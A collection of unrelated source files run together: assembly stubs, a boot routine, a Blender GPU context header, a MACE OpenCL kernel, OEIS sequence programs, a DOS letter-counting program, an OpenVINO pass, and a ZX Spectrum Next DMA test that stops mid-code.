EXTERN cm32_sccz80_fsread1, m32_f32_fam9511
.cm32_sccz80_f32_fam9511
call cm32_sccz80_fsread1
jp m32_f32_fam9511
EXTERN cm32_sccz80_fsread1, m32_fam9511_f32
.cm32_sccz80_fam9511_f32
call cm32_sccz80_fsread1
jp m32_fam9511_f32
|
extern bios_main, bios_init
extern fdd_configure
extern attr_configure, seq_configure, dac_configure, gc_configure, load_font
global start
BITS 16
start:
mov ax, cs
mov ds, ax
mov ax, 0x400
mov ss, ax
mov sp, 0x2000
xor ax, ax
mov es, ax
;call init_pic
call init_fdd
call init_vga
call dword bios_init
call dword bios_main
call load_mbr
jmp 0x0:0x7c00
init_pic:
cli
mov al, 0x11
out 0x20, al
out 0xa0, al
mov al, 0x20
out 0x21, al
mov al, 0x28
out 0xa1, al
mov al, 0x4
out 0x21, al
mov al, 2
out 0xa1, al
mov al, 0x1
out 0x21, al
out 0xa1, al
mov al, 0xfb
out 0x21, al
mov al, 0xff
out 0xa1, al
sti
ret
init_fdd:
push 0x0000
push 0x4000
call fdd_configure
add sp, 4
cli
in al, 0x21
and al, 0xbf
out 0x21, al
sti
ret
init_vga:
cli
; mor : 0x2
mov dx, 0x03c2
mov al, 0x2
out dx, al
sti
call dword load_font
cli
call dword attr_configure
call dword seq_configure
call dword dac_configure
call dword gc_configure
; x : 320
mov dx, 0x03b4
mov al, 0x1
out dx, al
mov dx, 0x03b5
mov al, 0x28
out dx, al
; y : 200
mov dx, 0x03b4
mov al, 0x12
out dx, al
mov dx, 0x03b5
mov al, 0x19
out dx, al
; MSL : 8
mov dx, 0x03b4
mov al, 0x09
out dx, al
mov dx, 0x03b5
mov al, 0x8-1
out dx, al
sti
ret
load_mbr:
mov ax, 0x0
mov es, ax
mov bx, 0x7c00
mov ah, 0x2 ; read
mov al, 0x1 ; sectors
mov ch, 0x0 ; cylinder
mov cl, 0x1 ; sector
mov dh, 0x0 ; head
mov dl, 0x0 ; drive
int 0x13
ret
|
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* The Original Code is Copyright (C) 2016 by Mike Erwin.
* All rights reserved.
*/
/** \file
* \ingroup gpu
*
* This interface allow GPU to manage GL objects for multiple context and threads.
*/
#pragma once
#include "MEM_guardedalloc.h"
#include "GPU_context.h"
#include "gpu_debug_private.hh"
#include "gpu_framebuffer_private.hh"
#include "gpu_immediate_private.hh"
#include "gpu_shader_private.hh"
#include "gpu_state_private.hh"
#include <pthread.h>
struct GPUMatrixState;
namespace blender::gpu {
class Context {
public:
/** State management */
Shader *shader = NULL;
FrameBuffer *active_fb = NULL;
GPUMatrixState *matrix_state = NULL;
StateManager *state_manager = NULL;
Immediate *imm = NULL;
/**
* All 4 window frame-buffers.
* None of them are valid in an off-screen context.
* Right frame-buffers are only available if using stereo rendering.
* Front frame-buffers contains (in principle, but not always) the last frame color.
* Default frame-buffer is back_left.
*/
FrameBuffer *back_left = NULL;
FrameBuffer *front_left = NULL;
FrameBuffer *back_right = NULL;
FrameBuffer *front_right = NULL;
DebugStack debug_stack;
protected:
/** Thread on which this context is active. */
pthread_t thread_;
bool is_active_;
/** Avoid including GHOST headers. Can be NULL for off-screen contexts. */
void *ghost_window_;
public:
Context();
virtual ~Context();
static Context *get(void);
virtual void activate(void) = 0;
virtual void deactivate(void) = 0;
/* Will push all pending commands to the GPU. */
virtual void flush(void) = 0;
/* Will wait until the GPU has finished executing all command. */
virtual void finish(void) = 0;
virtual void memory_statistics_get(int *total_mem, int *free_mem) = 0;
virtual void debug_group_begin(const char *, int){};
virtual void debug_group_end(void){};
bool is_active_on_thread(void);
};
/* Syntacting suggar. */
static inline GPUContext *wrap(Context *ctx)
{
return reinterpret_cast<GPUContext *>(ctx);
}
static inline Context *unwrap(GPUContext *ctx)
{
return reinterpret_cast<Context *>(ctx);
}
static inline const Context *unwrap(const GPUContext *ctx)
{
return reinterpret_cast<const Context *>(ctx);
}
} // namespace blender::gpu
|
#include "mace/ops/opencl/image/custom_add.h"
#include "mace/runtimes/opencl/opencl_runtime.h"
namespace mace {
namespace ops {
namespace opencl {
namespace image {
MaceStatus CustomAddKernel::Compute(OpContext *context,
const std::vector<const Tensor *> &input_tensors,
int repeat_times,
Tensor *output_tensor) {
size_t size = input_tensors.size();
MACE_CHECK(size == 2 && input_tensors[0] != nullptr);
const index_t batch = input_tensors[0]->dim(0);
const index_t height = input_tensors[0]->dim(1);
const index_t width = input_tensors[0]->dim(2);
const index_t channels = input_tensors[0]->dim(3);
auto executor = OpenclRuntime::Get(context)->GetOpenclExecutor();
MACE_OUT_OF_RANGE_DEFINITION;
MACE_CHECK_NOTNULL(input_tensors[1]);
MACE_CHECK(batch == input_tensors[1]->dim(0));
MACE_CHECK(height == input_tensors[1]->dim(1));
MACE_CHECK(width == input_tensors[1]->dim(2));
MACE_CHECK(channels == input_tensors[1]->dim(3));
if (kernel_.get() == nullptr) {
std::set<std::string> built_options;
MACE_OUT_OF_RANGE_CONFIG;
MACE_NON_UNIFORM_WG_CONFIG;
std::string kernel_name = MACE_OBFUSCATE_SYMBOL("custom_add");
built_options.emplace("-Dcustom_add=" + kernel_name);
built_options.emplace("-DDATA_TYPE=" + DtToCLDt(DT_FLOAT));
built_options.emplace("-DCMD_DATA_TYPE=" + DtToCLCMDDt(DT_FLOAT));
MACE_RETURN_IF_ERROR(executor->BuildKernel("custom_add", kernel_name,
built_options, &kernel_));
kwg_size_ =
static_cast<uint32_t>(executor->GetKernelMaxWorkGroupSize(kernel_));
}
std::vector<index_t> output_shape = input_tensors[0]->shape();
const index_t channel_blocks = RoundUpDiv4(channels);
const index_t width_pixels = channel_blocks * width;
const index_t batch_height_pixels = batch * height;
const uint32_t gws[2] = {static_cast<uint32_t>(width_pixels),
static_cast<uint32_t>(batch_height_pixels)};
MACE_OUT_OF_RANGE_INIT(kernel_);
if (IsResetArgsNeeded(context, input_shape_, input_tensors[0]->shape())) {
MACE_RETURN_IF_ERROR(output_tensor->Resize(output_shape));
uint32_t idx = 0;
MACE_OUT_OF_RANGE_SET_ARGS(kernel_);
MACE_SET_2D_GWS_ARGS(kernel_, gws);
for (auto input : input_tensors) {
kernel_.setArg(idx++, *(input->memory<cl::Image>()));
}
kernel_.setArg(idx++, repeat_times);
kernel_.setArg(idx++, *(output_tensor->mutable_memory<cl::Image>()));
input_shape_ = input_tensors[0]->shape();
}
const std::vector<uint32_t> lws = {kwg_size_ / 16, 16, 0};
std::string tuning_key = Concat("custom_add_opencl_kernel",
output_tensor->dim(0), output_tensor->dim(1),
output_tensor->dim(2), output_tensor->dim(3));
MACE_RETURN_IF_ERROR(TuningOrRun2DKernel(executor, kernel_, tuning_key, gws,
lws, context->future(), context));
MACE_OUT_OF_RANGE_VALIDATION;
return MaceStatus::MACE_SUCCESS;
}
} // namespace image
} // namespace opencl
} // namespace ops
} // namespace mace
|
; A114963: a(n) = n^2 + 22.
; 22,23,26,31,38,47,58,71,86,103,122,143,166,191,218,247,278,311,346,383,422,463,506,551,598,647,698,751,806,863,922,983,1046,1111,1178,1247,1318,1391,1466,1543,1622,1703,1786,1871,1958,2047,2138,2231,2326,2423,2522,2623,2726,2831,2938,3047,3158,3271,3386,3503,3622,3743,3866,3991,4118,4247,4378,4511,4646,4783,4922,5063,5206,5351,5498,5647,5798,5951,6106,6263,6422,6583,6746,6911,7078,7247,7418,7591,7766,7943,8122,8303,8486,8671,8858,9047,9238,9431,9626,9823
pow $0,2
add $0,22
|
;; Programa reaguoja i perduodamus parametrus
;; isveda pagalba, jei nera nurodyti reikiami parametrai
;; source failas skaitomas dalimis
;; destination failas rasomas dalimis
;; jei destination failas jau egzistuoja, jis yra isvalomas
;; jei source failas nenurodytas - skaito iลก stdin iki tuลกฤios naujos eilutฤs
;; galima nurodyti daugiau nei vienฤ
source failฤ
- juos sujungia
.model small
;.stack 100H
JUMPS ; auto generate inverted condition jmp on far jumps
;*************************Pakeista******************************
;.code
BSeg SEGMENT
;***************************************************************
;*******************Pridฤta*************************************
ORG 100h
ASSUME ds:BSeg, cs:BSeg, ss:BSeg
;***************************************************************
Pos MACRO a,b
push ax
push bx
mov ax, a
ToAscii ah,b
ToAscii al,b+2
pop bx
pop ax
ENDM
ToAscii MACRO a,b
push ax
push bx
mov al, a
xor ah, ah
mov bl, 10h
div bl
mov b, al
mov b+1, ah
ToAscii2 [b]
ToAscii2 [b+1]
pop bx
pop ax
ENDM
ToAscii2 MACRO var
LOCAL @@letter, @@exit
cmp var, 09h
ja @@letter
add var, 30h
jmp @@exit
@@letter:
add var, 37h
@@exit:
ENDM
Clr MACRO buffer, bSize
LOCAL @@start, @@exit
push Si
xor Si, Si
@@start:
cmp si, bSize
je @@exit
mov buffer[si],20h
inc si
jmp @@start
@@exit:
pop Si
ENDM
START:
;mov ax, @data
;mov es, ax ; es kad galetume naudot stosb funkcija: Store AL at address ES:(E)DI
mov si, 81h ; programos paleidimo parametrai rasomi segmente es pradedant 129 (arba 81h) baitu
call skip_spaces
mov al, byte ptr ds:[si] ; nuskaityti pirma parametro simboli
cmp al, 13 ; jei nera parametru
je help ; tai isvesti pagalba
;; ar reikia isvesti pagalba
mov ax, word ptr ds:[si]
cmp ax, 3F2Fh ; jei nuskaityta "/?" - 3F = '?'; 2F = '/'
je help ; rastas "/?", vadinasi reikia isvesti pagalba
;; destination failo pavadinimas
lea di, destF
call read_filename ; perkelti is parametro i eilute
cmp byte ptr es:[destF], '$' ; jei nieko nenuskaite
je help
;; source failo pavadinimas
lea di, sourceF
call read_filename ; perkelti is parametro i eilute
push ds si
;mov ax, @data
;mov ds, ax
;; rasymui
mov dx, offset destF ; ikelti i dx destF - failo pavadinima
mov ah, 3ch ; isvalo/sukuria faila - komandos kodas
mov cx, 0 ; normal - no attributes
int 21h ; INT 21h / AH= 3Ch - create or truncate file.
; Jei nebus isvalytas - tai perrasines senaji,
; t.y. jei pries tai buves failas ilgesnis - like simboliai isliks.
jc err_destination
mov ah, 3dh ; atidaro faila - komandos kodas
mov al, 1 ; rasymui
int 21h ; INT 21h / AH= 3Dh - open existing file.
jc err_destination
mov destFHandle, ax ; issaugom handle
jmp startConverting
readSourceFile:
pop si ds
;; source failo pavadinimas
lea di, sourceF
call read_filename ; perkelti is parametro i eilute
push ds si
;mov ax, @data
;mov ds, ax
cmp byte ptr ds:[sourceF], '$' ; jei nieko nenuskaite
jne startConverting
jmp closeF
startConverting:
;; atidarom
cmp byte ptr ds:[sourceF], '$' ; jei nieko nenuskaite
jne source_from_file
mov sourceFHandle, 0
jmp skaitom
source_from_file:
mov dx, offset sourceF ; failo pavadinimas
mov ah, 3dh ; atidaro faila - komandos kodas
mov al, 0 ; 0 - reading, 1-writing, 2-abu
int 21h ; INT 21h / AH= 3Dh - open existing file
jc err_source ; CF set on error AX = error code.
mov sourceFHandle, ax ; issaugojam filehandle
skaitom:
mov bx, sourceFHandle
mov dx, offset buffer ; address of buffer in dx
mov cx, 20 ; kiek baitu nuskaitysim
mov ah, 3fh ; function 3Fh - read from file
int 21h
mov cx, ax ; bytes actually read
cmp ax, 0 ; jei nenuskaite
jne _6 ; tai ne pabaiga
mov bx, sourceFHandle ; pabaiga skaitomo failo
mov ah, 3eh ; uzdaryti
int 21h
jmp readSourceFile ; atidaryti kita skaitoma faila, jei yra
_6:
mov si, offset buffer ; skaitoma is cia
mov bx, destFHandle ; rasoma i cia
cmp sourceFHandle, 0
jne _7
cmp byte ptr ds:[si], 13
je closeF
_7:
atrenka:
lodsb ; Load byte at address DS:(E)SI into AL
call replace
loop atrenka
jmp skaitom
help:
;mov ax, @data
;mov ds, ax
mov dx, offset apie
mov ah, 09h
int 21h
jmp _end
closeF:
;; uzdaryti dest
mov di, 1050
save:
sub di, 50
clr outbuff, 40
pos di, outbuff
mov outbuff+39, 0Dh
mov outbuff+40, 0Ah
mov bx, 00h
save_1:
cmp bx, 25
ja save_3
cmp word ptr ds:[letter+bx], di ;<------------------------------------- WHYYYYY
jae save_2
inc bx
jmp save_1
save_2:
mov outbuff+6+bx, 'x'
inc bx
jmp save_1
save_3:
mov bx, 0
lea dx, outbuff
mov cx, 40
mov bx, destFHandle
mov ah, 40h ; INT 21h / AH= 40h - write to file
int 21h
cmp di, 01h
ja save
lea dx, letterstr
mov cx, 33
mov bx, destFHandle
mov ah, 40h ; INT 21h / AH= 40h - write to file
int 21h
mov ah, 3eh ; uzdaryti
mov bx, destFHandle
int 21h
_end:
mov ax, 4c00h
int 21h
err_source:
;mov ax, @data
;mov ds, ax
mov dx, offset err_s
mov ah, 09h
int 21h
mov dx, offset sourceF
int 21h
mov ax, 4c01h
int 21h
err_destination:
;mov ax, @data
;mov ds, ax
mov dx, offset err_d
mov ah, 09h
int 21h
mov dx, offset destF
int 21h
mov ax, 4c02h
int 21h
;; procedures
skip_spaces PROC near
skip_spaces_loop:
cmp byte ptr ds:[si], ' '
jne skip_spaces_end
inc si
jmp skip_spaces_loop
skip_spaces_end:
ret
skip_spaces ENDP
read_filename PROC near
push ax
call skip_spaces
read_filename_start:
cmp byte ptr ds:[si], 13 ; jei nera parametru
je read_filename_end ; tai taip, tai baigtas failo vedimas
cmp byte ptr ds:[si], ' ' ; jei tarpas
jne read_filename_next ; tai praleisti visus tarpus, ir sokti prie kito parametro
read_filename_end:
mov al, '$' ; irasyti '$' gale
stosb ; Store AL at address ES:(E)DI, di = di + 1
pop ax
ret
read_filename_next:
lodsb ; uzkrauna kita simboli
stosb ; Store AL at address ES:(E)DI, di = di + 1
jmp read_filename_start
read_filename ENDP
replace PROC near
push si
mov ah, 0
cmp al, 'A'
jb exit
cmp al, 'Z'
ja mini
mov si, ax
sub si, 40h
inc letter+si
jmp exit
mini:
cmp al, 'a'
jb exit
cmp al, 'z'
ja exit
mov si, ax
sub si, 60h
inc letter+si
exit:
pop si
ret
replace ENDP
apie db 'Programa skaiciuoja raides failuose ir isveda i lentele',13,10,9,'uzd.exe [/?] destinationFile [ - | sourceFile1 [sourceFile2] [...] ]',13,10,13,10,9,'/? - pagalba',13,10,'$'
err_s db 'Source failo nepavyko atidaryti skaitymui',13,10,'$'
err_d db 'Destination failo nepavyko atidaryti rasymui',13,10,'$'
sourceF db 12 dup (0)
sourceFHandle dw ?
destF db 12 dup (0)
destFHandle dw ?
buffer db 20 dup (?)
simbolis db ?
letter dw 30 dup (0)
outbuff db 40 dup (' ')
Letterstr db ' ABCDEFGHIJKLMNOPQRSTUVWXYZ '
BSeg ends
end START |
; A039637: Number of steps to fixed point of "n -> n/2 or (n+1)/2 until result is prime".
; 1,1,1,2,1,2,1,3,2,2,1,3,1,2,4,4,1,3,1,3,2,2,1,4,2,2,3,3,1,5,1,5,2,2,4,4,1,2,4,4,1,3,1,3,2,2,1,5,3,3,3,3,1,4,4,4,2,2,1,6,1,2,6,6,3,3,1,3,5,5,1,5,1,2,3,3,5,5,1,5,2,2,1,4,2,2,4,4,1,3,3,3,2,2,6,6,1,4,4,4
lpb $0
mov $2,$0
seq $2,5171 ; Characteristic function of nonprimes: 0 if n is prime, else 1.
mul $0,$2
div $0,2
add $1,$2
lpe
add $1,1
mov $0,$1
|
// Copyright (C) 2018-2020 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include "transformations/convert_opset1_to_legacy/convert_nms_to_nms_ie.hpp"
#include <memory>
#include <vector>
#include <ngraph/opsets/opset1.hpp>
#include <ngraph_ops/nms_ie.hpp>
#include <ngraph/rt_info.hpp>
void ngraph::pass::ConvertNMSToNMSIE::convert_nms_to_nms_ie() {
auto input_0 = std::make_shared<pattern::op::Label>(element::f32, Shape{1, 1, 4});
auto input_1 = std::make_shared<pattern::op::Label>(element::f32, Shape{1, 1, 1});
auto max_per_class = std::make_shared<pattern::op::Label>(element::i64, Shape{});
auto iou_threshold = std::make_shared<pattern::op::Label>(element::f32, Shape{});
auto score_threshold = std::make_shared<pattern::op::Label>(element::f32, Shape{});
auto nms = std::make_shared<ngraph::opset1::NonMaxSuppression>(input_0, input_1, max_per_class, iou_threshold,
score_threshold);
ngraph::graph_rewrite_callback callback = [](pattern::Matcher &m) {
auto nms = std::dynamic_pointer_cast<ngraph::opset1::NonMaxSuppression>(m.get_match_root());
if (!nms) {
return false;
}
if (nms->input(2).get_shape().size() == 1 && nms->input(3).get_shape().size() == 1 &&
nms->input(4).get_shape().size() == 1) {
return false;
}
// vector of new nGraph operations
NodeVector new_ops;
auto new_max_per_class = nms->input(2).get_source_output();
if (nms->input(2).get_shape().empty()) {
new_max_per_class = std::make_shared<ngraph::op::Unsqueeze>(
nms->input(2).get_source_output().get_node_shared_ptr(),
opset1::Constant::create(element::i64, Shape{1}, {0}));
new_ops.push_back(new_max_per_class.get_node_shared_ptr());
}
auto new_iou_threshold = nms->input(3).get_source_output();
if (nms->input(3).get_shape().empty()) {
new_iou_threshold = std::make_shared<ngraph::op::Unsqueeze>(
nms->input(3).get_source_output().get_node_shared_ptr(),
opset1::Constant::create(element::i64, Shape{1}, {0}));
new_ops.push_back(new_iou_threshold.get_node_shared_ptr());
}
auto new_score_threshold = nms->input(4).get_source_output();
if (nms->input(4).get_shape().empty()) {
new_score_threshold = std::make_shared<ngraph::op::Unsqueeze>(
nms->input(4).get_source_output().get_node_shared_ptr(),
opset1::Constant::create(element::i64, Shape{1}, {0}));
new_ops.push_back(new_score_threshold.get_node_shared_ptr());
}
int center_point_box = 0;
switch (nms->get_box_encoding()) {
case ::ngraph::opset1::NonMaxSuppression::BoxEncodingType::CENTER:
center_point_box = 1;
break;
case ::ngraph::opset1::NonMaxSuppression::BoxEncodingType::CORNER:
center_point_box = 0;
break;
default:
throw ngraph_error("NonMaxSuppression layer " + nms->get_friendly_name() +
" has unsupported box encoding");
}
auto new_nms = std::make_shared<ngraph::op::NonMaxSuppressionIE>(nms->input(0).get_source_output(),
nms->input(1).get_source_output(),
new_max_per_class,
new_iou_threshold,
new_score_threshold,
nms->output(0).get_shape(),
center_point_box,
nms->get_sort_result_descending());
new_ops.push_back(new_nms);
new_nms->set_friendly_name(nms->get_friendly_name());
ngraph::copy_runtime_info(nms, new_ops);
ngraph::replace_node(nms, new_nms);
return true;
};
auto m = std::make_shared<ngraph::pattern::Matcher>(nms, "ConvertNMSToNMSIE");
this->add_matcher(m, callback, PassProperty::CHANGE_DYNAMIC_STATE);
} |
; WARNING - this is DMA test of "zxnDMA" variant (the ZX Spectrum Next with core
; implemented in FPGA, including the DMA-like mechanics emulating the Zilog DMA)
;
; The zxnDMA is simplified a lot, removing many "gotcha" rules, and doing transfers
; of blocks without the +1/+2 to the set length, to make it less tricky for new
; programmers. The board can be configured to work as Zilog DMA chip doing +1 byte
; transfers (but no search, no interrupts, no single-byte mode) by using I/O port $0B,
; to make it compatible with old ZX software using datagear/MB-02 DMA.
;
; The zxnDMA code in this test is thus breaking some Zilog DMA rules:
; - it's not always doing explicit DISABLE command after each block (good idea on Zilog)
; - it's doing WR0 setups on multiple ocassions where the previous point would bug
; - it's not LOAD-ing fixed-address target port by setting it as source port
; = on Zilog DMA only source port is loaded if fixed-address is used (you must flip
; the A->B / B->A direction before LOAD and back after, to load the target port
; as source port, that one is loaded even when fixed-address is used)
; - it's LOAD-ing port addresses only with correct direction of transfer
; (current core 3.0.5 is sensitive to this and will malfunction when direction is
; flipped after LOAD)
device zxspectrum48
org $8000
INCLUDE "../../Constants.asm"
INCLUDE "../../Macros.asm"
INCLUDE "../../TestFunctions.asm"
INCLUDE "../../TestData.asm"
INCLUDE "../../OutputFunctions.asm"
ATTR_NO_DMA EQU P_GREEN|RED ; green without ink, red with ink
ATTR_DMA EQU P_RED|GREEN ; green with ink, red without ink (bright)
ATTR_DMA_B EQU A_BRIGHT|ATTR_DMA ; bright variant (to mark start/end bytes)
ATTR_IO EQU A_BRIGHT|P_RED|YELLOW
ATTR_BAD EQU P_RED|RED ; red+red no bright (filler in source area)
MACRO FILL_DMA_CHAR_DOTS adr?, columns?, rows?
ld hl,adr?
ld bc,((columns?)<<8) | (rows?)
ld d,$40
call FillSomeUlaLines
ENDM
ReadAndShowDmaByte:
in a,(c)
call OutHexaValue
; every second value has bright paper (calculate by IX address)
ld a,ixl
rrca
rrca
rrca
and A_BRIGHT
or P_CYAN|BLACK
ld (ix+0),a
ld (ix+1),a
inc ix
inc ix
ret
Start:
NEXTREG_nn TURBO_CONTROL_NR_07,3 ; 28MHz
call StartTest
;; screen init
BORDER CYAN
; create dots in all DMA squares to make counting easier
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$100+$20*1+6, 4, 4
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$100+$20*1+18, 4, 4
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$100+$20*1+30, 1, 4
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$900+$20*1+6, 4, 4
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$900+$20*1+18, 4, 4
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$900+$20*1+30, 1, 4
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$100+$20*6+13, 4+4+1, 1
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$900+$20*6+13, 4, 1
FILL_DMA_CHAR_DOTS MEM_ZX_SCREEN_4000+$900+$20*6+18, 4, 1
; display all text in the layout
ld de,MEM_ZX_SCREEN_4000+$1000+$20*7+2
ld bc,MEM_ZX_SCREEN_4000+$1000+$20*7+16
call OutMachineIdAndCore_defLabels
ld de,MEM_ZX_SCREEN_4000
ld hl,LegendaryText
call OutStringAtDe
; attributes - odd lines stripes
FILL_AREA MEM_ZX_ATTRIB_5800+$20,$20,P_CYAN|BLACK
ld hl,MEM_ZX_ATTRIB_5800
ld de,MEM_ZX_ATTRIB_5800+$20*2
ld bc,32*22
ldir
; extra attributes for "IO is yellow" line
FILL_AREA MEM_ZX_ATTRIB_5800+$20*5,$20,P_CYAN|WHITE
; attributes - "slow burst" area
FILL_AREA MEM_ZX_ATTRIB_5800+$20*15+0,$20*8,A_BRIGHT|P_WHITE|BLUE
FILL_AREA MEM_ZX_ATTRIB_5800+$20*16+0,$20*6,P_WHITE|RED
; attributes - test areas for each basic mode
line = 1
REPT 8
FILL_AREA MEM_ZX_ATTRIB_5800+$20*line+5,6,ATTR_NO_DMA
FILL_AREA MEM_ZX_ATTRIB_5800+$20*line+17,6,ATTR_NO_DMA
FILL_AREA MEM_ZX_ATTRIB_5800+$20*line+29,3,ATTR_NO_DMA
line = line + 1
IF 5 == line
line = line + 4
ENDIF
ENDR
; attributes - test areas for short-init tests
FILL_AREA MEM_ZX_ATTRIB_5800+$20*6+12,11,ATTR_NO_DMA
FILL_AREA MEM_ZX_ATTRIB_5800+$20*14+12,11,ATTR_NO_DMA
;; do the full init of DMA chip and helper settings in NextRegs and I/O ports
BORDER YELLOW
; enable all keys: turbo, 50/60Hz, NMI
NEXTREG2A PERIPHERAL_2_NR_06
or %1010'1000 ; enable F8, F3 and NMI buttons
NEXTREG_A PERIPHERAL_2_NR_06
; init NextReg selector to value which will be used for I/O port tests
ld bc,TBBLUE_REGISTER_SELECT_P_243B
ld a,ATTR_IO
out (c),a
; init DMA - full re-init of everything
ld hl,DmaFullInit
ld bc,(DmaFullInitSz<<8)|ZXN_DMA_P_6B
otir
; do the read of DMA port while nothing was requested yet
ld hl,MEM_ZX_SCREEN_4000+$20*7+0
ld (OutCurrentAdr),hl
ld ix,MEM_ZX_ATTRIB_5800+$20*7+0
call ReadAndShowDmaByte
; request status of DMA after full init
ld a,DMA_READ_STATUS_BYTE
out (c),a
call ReadAndShowDmaByte
; set read-status bytes to only status + LSB bytes
ld hl,(DMA_READ_MASK_FOLLOWS<<8) | %0'01'01'01'1 ; status + lsb counter + lsb adrA + lsb adrB
out (c),h
out (c),l
; start the read sequence already, try to read status (should be ignored b/c sequence)
ld hl,(DMA_START_READ_SEQUENCE<<8) | DMA_READ_STATUS_BYTE
out (c),h
out (c),l
; the sequence will be read and shown after first transfer
;; do the basic tests (full inits), A -> B direction
; outer loop init values
AtoB_WR0 EQU %0'1111'1'01
DEFARRAY SRC_ADR DmaSrcData4B, DmaSrcData4B+3, DmaSrcData1B, TBBLUE_REGISTER_SELECT_P_243B
DEFARRAY DST_ADR_BASE MEM_ZX_ATTRIB_5800+$20*1, MEM_ZX_ATTRIB_5800+$20*2, MEM_ZX_ATTRIB_5800+$20*3, MEM_ZX_ATTRIB_5800+$20*4
DEFARRAY DATA_SZ 4, 4, 4, 4
DEFARRAY SRC_MODE %0'1'01'0'100, %0'1'00'0'100, %0'1'10'0'100, %0'1'10'1'100 ; m+, m-, m0, IO(+0) (port A)
; inner loop init values
DEFARRAY DST_ADR_OFS 6, 18+3, 30
DEFARRAY DST_MODE %0'1'01'0'000, %0'1'00'0'000, %0'1'10'0'000 ; m+, m-, m0 (port B)
; setup all A -> B 4x3 tests
outer_loop_i = 0
REPT 4
inner_loop_i = 0
REPT 3
nop : ; DW $01DD ; break
; WR0 = A->B transfer, start addres port A, block length
ld a,AtoB_WR0
ld hl,SRC_ADR[outer_loop_i]
ld de,DATA_SZ[outer_loop_i]
out (c),a ; in zxnDMA continuous mode WR0 can be first write
out (c),l ; start address port A
out (c),h
out (c),e ; block length (real length, because zxnDMA mode)
out (c),d
; WR1 = port A mode + timing 2
ld de,SRC_MODE[outer_loop_i] | $0200
out (c),e
out (c),d
; WR2 = port B mode + timing 2
ld de,DST_MODE[inner_loop_i] | $0200
out (c),e
out (c),d
; WR4 = continuous mode, start address port B
ld a,%1'01'0'11'01
ld hl,DST_ADR_BASE[outer_loop_i] + DST_ADR_OFS[inner_loop_i]
out (c),a
out (c),l
out (c),h
ld a,DMA_LOAD ; load the internal counters with the settings
out (c),a
ld a,DMA_ENABLE ; start the transfer
out (c),a
ld a,DMA_DISABLE ; after block transfer, disable DMA from "inactive" state
out (c),a
nop
IF 0 == inner_loop_i && 0 == outer_loop_i
; after very first test, show the read-sequence values + one more
ld b,5
call ReadAndShowDmaByte
djnz $-3
; and make new read sequence pending
ld a,DMA_START_READ_SEQUENCE
out (c),a
ENDIF
inner_loop_i = inner_loop_i + 1
ENDR
outer_loop_i = outer_loop_i + 1
ENDR
;; do the basic tests (full inits), B -> A direction ; reusing A -> B constants
; init values which are different from A->B test
BtoA_WR0 EQU %0'1111'0'01
UNDEFINE SRC_MODE
DEFARRAY SRC_MODE %0'0'01'0'000, %0'0'00'0'000, %0'0'10'0'000, %0'0'10'1'000 ; m+, m-, m0, IO(+0) (port B)
UNDEFINE DST_MODE
DEFARRAY DST_MODE %0'0'01'0'100, %0'0'00'0'100, %0'0'10'0'100 ; m+, m-, m0 (port A)
; setup all B -> A 4x3 tests
outer_loop_i = 0
REPT 4
inner_loop_i = 0
REPT 3
nop : ; DW $01DD ; break
; WR0 = B->A transfer, start addres port A, block length
ld a,BtoA_WR0
ld hl,DST_ADR_BASE[outer_loop_i] + DST_ADR_OFS[inner_loop_i] + $20*8
ld de,DATA_SZ[outer_loop_i]
out (c),a ; in zxnDMA continuous mode WR0 can be first write
out (c),l ; start address port A
out (c),h
out (c),e ; block length (real length, because zxnDMA mode)
out (c),d
; WR1 = port B mode
ld a,SRC_MODE[outer_loop_i]
out (c),a
; WR2 = port A mode
ld a,DST_MODE[inner_loop_i]
out (c),a
; WR4 = continuous mode, start address port B
ld a,%1'01'0'11'01
ld hl,SRC_ADR[outer_loop_i]
out (c),a
out (c),l
out (c),h
ld a,DMA_LOAD ; load the internal counters with the settings
out (c),a
ld a,DMA_ENABLE ; start the transfer
out (c),a
ld a,DMA_DISABLE ; after block transfer, disable DMA from "inactive" state
out (c),a
nop
inner_loop_i = inner_loop_i + 1
ENDR
outer_loop_i = outer_loop_i + 1
ENDR
;; short-init tests
; expected state from last B -> A test:
; WR0 B->A, port A adr: MEM_ZX_ATTRIB_5800+$20*12+30 = $599E, length = 4, port A mem+0
; port B adr: $243B, port B I/O+0, continuous mode
; change current full-init from last B->A test to "-- mode, bottom right 4x1"
; Port A adr (*LSB): $59D5, port A mem-- (*), port B adr (*): DmaSrcData4B, port B mem++ (*)
nop : ; DW $01DD ; break
; WR0 = B->A transfer, LSB start addres port A
ld hl,(%0'0001'0'01<<8)|$D5
out (c),h ; in zxnDMA continuous mode WR0 can be first write
out (c),l ; start address port A (LSB)
; WR1 = port B mode, WR2 = port A mode
ld hl,%0'0'01'0'000'0'0'00'0'100
out (c),h ; WR1 = mem++ (port B, src)
out (c),l ; WR2 = mem-- (port A, dst)
; WR4 = continuous mode, start address port B
ld a,%1'01'0'11'01
ld hl,DmaSrcData4B
out (c),a
out (c),l
out (c),h
ld a,DMA_LOAD ; load the internal counters with the patched settings
out (c),a
ld a,DMA_ENABLE ; start the transfer
out (c),a
ld a,DMA_DISABLE ; after block transfer, disable DMA from "inactive" state
out (c),a
; set LSB DST_ADR $59CD, dst mode mem++, load + enable (same SRC data and mode)
nop : ; DW $01DD ; break
; WR0 = B->A transfer, LSB start addres port A
ld hl,(%0'0001'0'01<<8)|$CD
out (c),h ; in zxnDMA continuous mode WR0 can be first write
out (c),l ; start address port A (LSB)
; WR2 = port A mode mem++
ld a,%0'0'01'0'100
out (c),a ; WR2 = mem++ (port A, dst)
